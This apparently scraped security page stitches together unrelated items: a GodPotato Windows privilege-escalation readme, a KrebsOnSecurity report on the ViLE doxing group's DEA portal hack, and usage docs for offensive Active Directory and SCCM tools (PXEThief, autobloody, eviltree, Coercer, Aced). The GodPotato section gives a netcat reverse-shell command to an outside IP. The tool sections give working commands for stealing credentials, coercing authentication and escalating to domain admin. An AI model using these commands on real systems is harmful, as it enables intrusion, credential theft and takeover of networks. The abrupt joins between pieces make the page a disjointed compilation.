Login
Based on the history of Potato privilege escalation for 6 years, from the beginning of RottenPotato to the end of JuicyPotatoNG, I discovered a new technology by researching DCOM, which enables privilege escalation in Windows 2012 - Windows 2022, now as long as you have "ImpersonatePrivilege" permission. Then you are "NT AUTHORITY\SYSTEM", usually WEB services and database services have "ImpersonatePrivilege" permissions.
Potato privilege escalation is usually used when we obtain WEB/database privileges. We can elevate a service user with low privileges to "NT AUTHORITY\SYSTEM" privileges. However, the historical Potato has no way to run on the latest Windows system. When I was researching DCOM, I found a new method that can perform privilege escalation. There are some defects in rpcss when dealing with oxid, and rpcss is a service that must be opened by the system. , so it can run on almost any Windows OS, I named it GodPotato
Windows Server 2012 - Windows Server 2022 Windows8 - Windows 11
FreshRSS 
GodPotato -cmd "cmd /c whoami"
Customize Clsid and execute commands
Execute reverse shell commands
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
zcgonvh
skay
Two U.S. men have been charged with hacking into a U.S. Drug Enforcement Agency (DEA) online portal that taps into 16 different federal law enforcement databases. Both are alleged to be part of a larger criminal organization that specializes in using fake emergency data requests from compromised police and government email accounts to publicly threaten and extort their victims.
Prosecutors for the Eastern District of New York today unsealed criminal complaints against Sagar Steven Singh — a.k.a “Weep” — a 19-year-old from Pawtucket, Rhode Island; and Nicholas Ceraolo, 25, of Queens, NY, who allegedly went by the handles “Convict” and “Ominus.”
The Justice Department says Singh and Ceraolo belong to a group of cybercriminals known to its members as “ViLE,” who specialize in obtaining personal information about third-party victims, which they then use to harass, threaten or extort the victims, a practice known as “doxing.”
“ViLE is collaborative, and the members routinely share tactics and illicitly obtained information with each other,” prosecutors charged.
The government alleges the defendants and other members of ViLE use various methods to obtain victims’ personal information, including:
-tricking customer service employees;
-submitting fraudulent legal process to social media companies to elicit users’ registration information;
-co-opting and corrupting corporate insiders;
-searching public and private online databases;
-accessing a nonpublic United States government database without authorization
-unlawfully using official email accounts belonging to other countries.
The complaint says once they obtained a victim’s information, Singh and Ceraolo would post the information in an online forum. The government refers to this community only as “Forum-1,” saying that it is administered by the leader of ViLE (referenced in the complaint as “CC-1”).
“Victims are extorted into paying CC-1 to have their information removed from Forum-1,” prosecutors allege. “Singh also uses the threat of revealing personal information to extort victims into giving him access to their social media accounts, which Singh then resells.”
Sources tell KrebsOnSecurity in addition to being members of ViLE, both Weep and Ominous are or were staff members for Doxbin, a highly toxic online community that provides a forum for digging up personal information on people and posting it publicly. This is supported by the Doxbin administrator’s claimed responsibility for a high-profile intrusion at the DEA’s law enforcement data sharing portal last year.
A screenshot of alleged access to the Drug Enforcement Agency’s intelligence sharing portal, shared by “KT,” the current administrator of the doxing and harassment community Doxbin.
The government alleges that on May 7, 2022, Singh used stolen credentials to log into a U.S. federal government portal without authorization. The complaint doesn’t specify which agency portal was hacked, but it does state that the portal included access to law enforcement databases that track narcotics seizures in the United States.
On May 12, 2022, KrebsOnSecurity broke the news that hackers had gained access to a DEA portal that taps into 16 different federal law enforcement databases. As reported at the time, the inside scoop on how that hack went down came from KT, the current administrator of the Doxbin and the individual referenced in the government’s complaint as “CC-1.”
Indeed, a screenshot of the ViLE group website includes the group’s official roster, which lists KT at the top, followed by Weep and Ominus.
A screenshot of the website for the cybercriminal group “ViLE.” Image: USDOJ.
In March 2022, KrebsOnSecurity warned that multiple cybercrime groups were finding success with fraudulent Emergency Data Requests (EDRs), wherein the hackers use compromised police and government email accounts to file warrantless data requests with social media firms and mobile telephony providers, attesting that the information being requested can’t wait for a warrant because it relates to an urgent matter of life and death.
That story showed that the previous owner of the Doxbin also was part of a teenage hacking group that specialized in offering fake EDRs as a service on the dark web.
Prosecutors say they tied Singh to the government portal hack because he connected to it from an Internet address that he’d previously used to access a social media account registered in his name. When they raided Singh’s residence on Sept. 8, 2022 and seized his devices, investigators with Homeland Security found a cellular phone and laptop that allegedly “contained extensive evidence of access to the Portal.”
The complaint alleges that between February 2022 and May 2022, Ceraolo used an official email account belonging to a Bangladeshi police official to pose as a police officer in communication with U.S.-based social media platforms.
“In these communications, Ceraolo requested personal information about users of these platforms, under the false pretense that the users were committing crimes or in life-threatening danger,” the complaint states.
For example, on or about March 13, 2022, Ceraolo allegedly used the Bangladeshi police email account to falsely claim that the target of the EDR had sent bomb threats, distributed child pornography and threatened officials of the Bangladeshi government.
On or about May 9, 2022, the government says, Singh sent a friend screenshots of text messages between himself and someone he had doxed on the Doxbin and was trying to extort for their Instagram handle. The data included the victim’s Social Security number, driver’s license number, cellphone number, and home address.
“Look familiar?” Singh allegedly wrote to the victim. “You’re gonna comply to me if you don’t want anything negative to happen to your parents. . . I have every detail involving your parents . . . allowing me to do whatever I desire to them in malicious ways.”
Neither of the defendants could be immediately reached for comment. KT, the current administrator of Doxbin, declined a request for comment on the charges.
Ceraolo is a self-described security researcher who has been credited in many news stories over the years with discovering security vulnerabilities at AT&T, T-Mobile, Comcast and Cox Communications.
Ceraolo’s stated partner in most of these discoveries — a 30-year-old Connecticut man named Ryan “Phobia” Stevenson — was charged in 2019 with being part of a group that stole millions of dollars worth of cryptocurrencies via SIM-swapping, a crime that involves tricking a mobile provider into routing a target’s calls and text messages to another device.
In 2018, KrebsOnSecurity detailed how Stevenson earned bug bounty rewards and public recognition from top telecom companies for finding and reporting security holes in their websites, all the while secretly peddling those same vulnerabilities to cybercriminals.
According to the Justice Department, if convicted Ceraolo faces up to 20 years’ imprisonment for conspiracy to commit wire fraud; both Ceraolo and Singh face five years’ imprisonment for conspiracy to commit computer intrusions.
A copy of the complaint against Ceraolo and Singh is here (PDF).
PXEThief is a set of tooling that implements attack paths discussed at the DEF CON 30 talk Pulling Passwords out of Configuration Manager (https://forum.defcon.org/node/241925) against the Operating System Deployment functionality in Microsoft Endpoint Configuration Manager (or ConfigMgr, still commonly known as SCCM). It allows for credential gathering from configured Network Access Accounts (https://docs.microsoft.com/en-us/mem/configmgr/core/plan-design/hierarchy/accounts#network-access-account) and any Task Sequence Accounts or credentials stored within ConfigMgr Collectio n Variables that have been configured for the "All Unknown Computers" collection. These Active Directory accounts are commonly over permissioned and allow for privilege escalation to administrative access somewhere in the domain, at least in my personal experience.
Likely, the most serious attack that can be executed with this tooling would involve PXE-initiated deployment being supported for "All unknown computers" on a distribution point without a password, or with a weak password. The overpermissioning of ConfigMgr accounts exposed to OSD mentioned earlier can then allow for a full Active Directory attack chain to be executed with only network access to the target environment.
python pxethief.py -h
pxethief.py 1 - Automatically identify and download encrypted media file using DHCP PXE boot request. Additionally, attempt exploitation of blank media password when auto_exploit_blank_password is set to 1 in 'settings.ini'
pxethief.py 2 <IP Address of DP Server> - Coerce PXE Boot against a specific MECM Distribution Point server designated by IP address
pxethief.py 3 <variables-file-name> <Password-guess> - Attempt to decrypt a saved media variables file (obtained from PXE, bootable or prestaged media) and retrieve sensitive data from MECM DP
pxethief.py 4 <variables-file-name> <policy-file-path> <password> - Attempt to decrypt a saved media variables file and Policy XML file retrieved from a stand-alone TS media
pxethief.py 5 <variables-file-name> - Print the hash corresponding to a specified media variables file for cracking in Hashcat
pxethief.py 6 <identityguid> <identitycert-file-name> - Retrieve task sequences using the values obtained from registry keys on a DP
pxethief.py 7 <Reserved1-value> - Decrypt stored PXE password from SCCM DP registry key (reg query HKLM\software\microsoft\sms\dp /v Reserved1)
pxethief.py 8 - Write new default 'settings.ini' file in PXEThief directory
pxethief.py 10 - Print Scapy interface table to identify interface indexes for use in 'settings.ini'
pxethief.py -h - Print PXEThief help text
pxethief.py 5 <variables-file-name> should be used to generate a 'hash' of a media variables file that can be used for password guessing attacks with the Hashcat module published at https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module.
A file contained in the main PXEThief folder is used to set more static configuration options. These are as follows:
[SCAPY SETTINGS]
automatic_interface_selection_mode = 1
manual_interface_selection_by_id =
[HTTP CONNECTION SETTINGS]
use_proxy = 0
use_tls = 0
[GENERAL SETTINGS]
sccm_base_url =
auto_exploit_blank_password = 1
automatic_interface_selection_mode will attempt to determine the best interface for Scapy to use automatically, for convenience. It does this using two main techniques. If set to 1 it will attempt to use the interface that can reach the machine's default GW as output interface. If set to 2, it will look for the first interface that it finds that has an IP address that is not an autoconfigure or localhost IP address. This will fail to select the appropriate interface in some scenarios, which is why you can force the use of a specific inteface with 'manual_interface_selection_by_id'.manual_interface_selection_by_id allows you to specify the integer index of the interface you want Scapy to use. The ID to use in this file should be obtained from running pxethief.py 10.sccm_base_url is useful for overriding the Management Point that the tooling will speak to. This is useful if DNS does not resolve (so the value read from the media variables file cannot be used) or if you have identified multiple Management Points and want to send your traffic to a specific one. This should be provided in the form of a base URL e.g. http://mp.configmgr.com instead of mp.configmgr.com or http://mp.configmgr.com/stuff.auto_exploit_blank_password changes the behaviour of pxethief 1 to automatically attempt to exploit a non-password protected PXE Distribution Point. Setting this to 1 will enable auto exploitation, while setting it to 0 will print the tftp client string you should use to download the media variables file. Note that almost all of the time you will want this set to 1, since non-password protected PXE makes use of a binary key that is sent in the DHCP response that you receive when you ask the Distribution Point to perform a PXE boot.Not implemented in this release
pip install -r requirements.txt)pxethief.py 1 or pxethief.py 2 to identify and generate a media variables file, make sure the interface used by the tool is set to the correct one, if it is not correct, manually set it in 'settings.ini' by identifying the right index ID to use from pxethief.py 10
pxethief.py and the address of the proxy can be set on line 693. I am planning to move this feature to be configurable in 'settings.ini' in the next update to the code basepywin32 in order to utilise some built-in Windows cryptography functions. This is not available on Linux, since the Windows cryptography APIs are not available on Linux :P The Scapy code in pxethief.py, however, is fully functional on Linux, but you will need to patch out (at least) the include of win32crypt to get it to run under LinuxExpect to run into issues with error handling with this tool; there are subtle nuances with everything in ConfigMgr and while I have improved the error handling substantially in preparation for the tool's release, this is in no way complete. If there are edge cases that fail, make a detailed issue or fix it and make a pull request :) I'll review these to see where reasonable improvements can be made. Read the code/watch the talk and understand what is going on if you are going to run it in a production environment. Keep in mind the licensing terms - i.e. use of the tool is at your own risk.
Identifying and retrieving credentials from SCCM/MECM Task Sequences - In this post, I explain the entire flow of how ConfigMgr policies are found, downloaded and decrypted after a valid OSD certificate is obtained. I also want to highlight the first two references in this post as they show very interesting offensive SCCM research that is ongoing at the moment.
DEF CON 30 Slides - Link to the talk slides
Copyright (C) 2022 Christopher Panayi, MWR CyberSec
autobloody is a tool to automatically exploit Active Directory privilege escalation paths shown by BloodHound.
This tool automates the AD privesc between two AD objects, the source (the one we own) and the target (the one we want) if a privesc path exists in BloodHound database. The automation is composed of two steps:
bloodyAD packageBecause autobloody relies on bloodyAD, it supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc.
First if you run it on Linux, you must have libkrb5-dev installed on your OS in order for kerberos to work:
# Debian/Ubuntu/Kali
apt-get install libkrb5-dev
# Centos/RHEL
yum install krb5-devel
# Fedora
dnf install krb5-devel
# Arch Linux
pacman -S krb5A python package is available:
pip install autobloodyOr you can clone the repo:
git clone --depth 1 https://github.com/CravateRouge/autobloody
pip install .First data must be imported into BloodHound (e.g using SharpHound or BloodHound.py) and Neo4j must be running.
⚠️-ds and -dt values are case sensitive
Simple usage:
autobloody -u john.doe -p 'Password123!' --host 192.168.10.2 -dp 'neo4jP@ss' -ds 'JOHN.DOE@BLOODY.LOCAL' -dt 'BLOODY.LOCAL'Full help:
[bloodyAD]$ ./autobloody.py -h
usage: autobloody.py [-h] [--dburi DBURI] [-du DBUSER] -dp DBPASSWORD -ds DBSOURCE -dt DBTARGET [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-c CERTIFICATE] [-s] --host HOST
AD Privesc Automation
options:
-h, --help show this help message and exit
--dburi DBURI The host neo4j is running on (default is "bolt://localhost:7687")
-du DBUSER, --dbuser DBUSER
Neo4j username to use (default is "neo4j")
-dp DBPASSWORD, --dbpassword DBPASSWORD
Neo4j password to use
-ds DBSOURCE, --dbsource DBSOURCE
Case sensitive label of the source node (name property in bloodhound)
-dt DBTARGET, --dbtarget DBTARGET
Case sensitive label of the target node (name property in bloodhound)
-d DOMAIN, --domain DOMAIN
Domain used for NTLM authentication
-u USERNAME, --username USERNAME
Username used for NTLM authentication
-p PASSWORD, --password PASSWORD
Cleartext password or LMHASH:NTHASH for NTLM authentication
-k, --kerberos
-c CERTIFICATE, --certificate CERTIFICATE
Certificate authentication, e.g: "path/to/key:path/to/cert"
-s, --secure Try to use LDAP over TLS aka LDAPS (default is LDAP)
--host HOST Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)First a privesc path is found using the Dijkstra's algorithm implemented into the Neo4j's GDS library. The Dijkstra's algorithm allows to solve the shortest path problem on a weighted graph. By default the edges created by BloodHound don't have weight but a type (e.g MemberOf, WriteOwner). A weight is then added to each edge accordingly to the type of edge and the type of node reached (e.g user,group,domain).
Once a path is generated, autobloody will connect to the DC and execute the path and clean what is reversible (everything except ForcePasswordChange and setOwner).
For now, only the following BloodHound edges are currently supported for automatic exploitation:
A standalone python3 remake of the classic "tree" command with the additional feature of searching for user provided keywords/regex in files, highlighting those that contain matches. Created for two main reasons:
Example #1: Running a regex that essentially matches strings similar to: password = something against /var/www
Example #2: Using comma separated keywords instead of regex:
Notable features:
-x search actually returns a unique list of all matched patterns in a file. Be careful when combining it with -v (--verbose), try to be specific and limit the length of chars to match.-b.-k and regex -x values. This is useful in case you have gained a limited shell on a machine and want to have "tree" with colored output to look around.filetype_blacklist in eviltree.py which can be used to exclude certain file extensions from content search. By default, it excludes the following: gz, zip, tar, rar, 7z, bz2, xz, deb, img, iso, vmdk, dll, ovf, ova.-i (--interesting-only) option. It instructs eviltree to list only files with matching keywords/regex content, significantly reducing the output length:-x ".{0,3}passw.{0,3}[=]{1}.{0,18}"
-k passw,db_,admin,account,user,token
A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through 9 methods.
--analyze, which only lists the vulnerable protocols and functions listening, without performing a coerced authentication.--targets-file
--webdav-host and --webdav-port
$ ./Coercer.py -h
______
/ ____/___ ___ _____________ _____
/ / / __ \/ _ \/ ___/ ___/ _ \/ ___/
/ /___/ /_/ / __/ / / /__/ __/ / v1.6
\____/\____/\___/_/ \___/\___/_/ by @podalirius_
usage: Coercer.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [--hashes [LMHASH]:NTHASH] [--no-pass] [-v] [-a] [-k] [--dc-ip ip address] [-l LISTENER] [-wh WEBDAV_HOST] [-wp WEBDAV_PORT]
(-t TARGET | -f TARGETS_FILE) [--target-ip ip address]
Automatic windows authentication coercer over various RPC calls.
options:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
Username to authenticate to the endpoint.
-p PASSWORD, --password PASSWORD
Password to authenticate to the endpoint. (if omitted, it will be asked unless -no-pass is specified)
-d DOMAIN, --domain DOMAIN
Windows domain name to authenticate to the endpoint.
--hashes [LMHASH]:NTHASH
NT/LM hashes (LM hash can be empty)
--no-pass Don't ask for password (useful for -k)
-v, --verbose Verbose mode (default: False)
-a, --analyze Analyze mode (default: Attack mode)
-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the
command line
--dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-t TARGET, --target TARGET
IP address or hostname of the target machine
-f TARGETS_FILE, --targets-file TARGETS_FILE
IP address or hostname of the target machine
--target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
-l LISTENER, --listener LISTENER
IP address or hostname of the listener machine
-wh WEBDAV_HOST, --webdav-host WEBDAV_HOST
WebDAV IP of the server to authenticate to.
-wp WEBDAV_PORT, --webdav-port WEBDAV_PORT
WebDAV port of the server to authenticate to.
In attack mode (without --analyze option) you get the following output:
After all the RPC calls, you get plenty of authentications in Responder:
Pull requests are welcome. Feel free to open an issue if you want to add other features.
Aced is a tool to parse and resolve a single targeted Active Directory principal's DACL. Aced will identify interesting inbound access allowed privileges against the targeted account, resolve the SIDS of the inbound permissions, and present that data to the operator. Additionally, the logging features of pyldapsearch have been integrated with Aced to log the targeted principal's LDAP attributes locally which can then be parsed by pyldapsearch's companion tool BOFHound to ingest the collected data into BloodHound.
I wrote Aced simply because I wanted a more targeted approach to query ACLs. Bloodhound is fantastic, however, it is extremely noisy. Bloodhound collects all the things while Aced collects a single thing providing the operator more control over how and what data is collected. There's a phrase the Navy Seals use: "slow is smooth and smooth is fast" and that's the approach I tried to take with Aced. The case for detection is reduced by only querying for what LDAP wants to tell you and by not performing an action known as "expensive ldap queries". Aced has the option to forego SMB connections for hostname resolution. You have the option to prefer LDAPS over LDAP. With the additional integration with BloodHound, the collected data can be stored in a familiar format that can be shared with a team. Privilege escalation attack paths can be built by walking backwards from the targeted goal.
Thanks to the below for all the code I stole:
@_dirkjan
@fortaliceLLC
@eloygpz
@coffeegist
@tw1sm
└─# python3 aced.py -h
_____
|A . | _____
| /.\ ||A ^ | _____
|(_._)|| / \ ||A _ | _____
| | || \ / || ( ) ||A_ _ |
|____V|| . ||(_'_)||( v )|
|____V|| | || \ / |
|____V|| . |
|____V|
v1.0
Parse and log a target principal's DACL.
@garrfoster
usage: aced.py [-h] [-ldaps] [-dc-ip DC_IP] [-k] [-no-pass] [-hashes LMHASH:NTHASH] [-aes hex key] [-debug] [-no-smb] target
Tool to enumerate a single target's DACL in Active Directory
optional arguments:
-h, --help show this help message and exit
Authentication:
target [[domain/username[:password]@]<address>
-ldaps Use LDAPS isntead of LDAP
Optional Flags:
-dc-ip DC_IP IP address or FQDN of domain controller
-k, --kerberos Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
credentials cannot be found, it will use the ones specified in the command line
-no-pass don't ask for password (useful for -k)
-hashes LMHASH:NTHASH
LM and NT hashes, format is LMHASH:NTHASH
-aes hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-debug Enable verbose logging.
-no-smb Do not resolve DC hostname through SMB. Requires a FQDN with -dc-ip.
In the below demo, we have the credentials for the corp.local\lowpriv account. By starting enumeration at Domain Admins, a potential path for privilege escalation is identified by walking backwards from the high value target.
And here's how that data looks when transformed by bofhound and ingested into BloodHound.
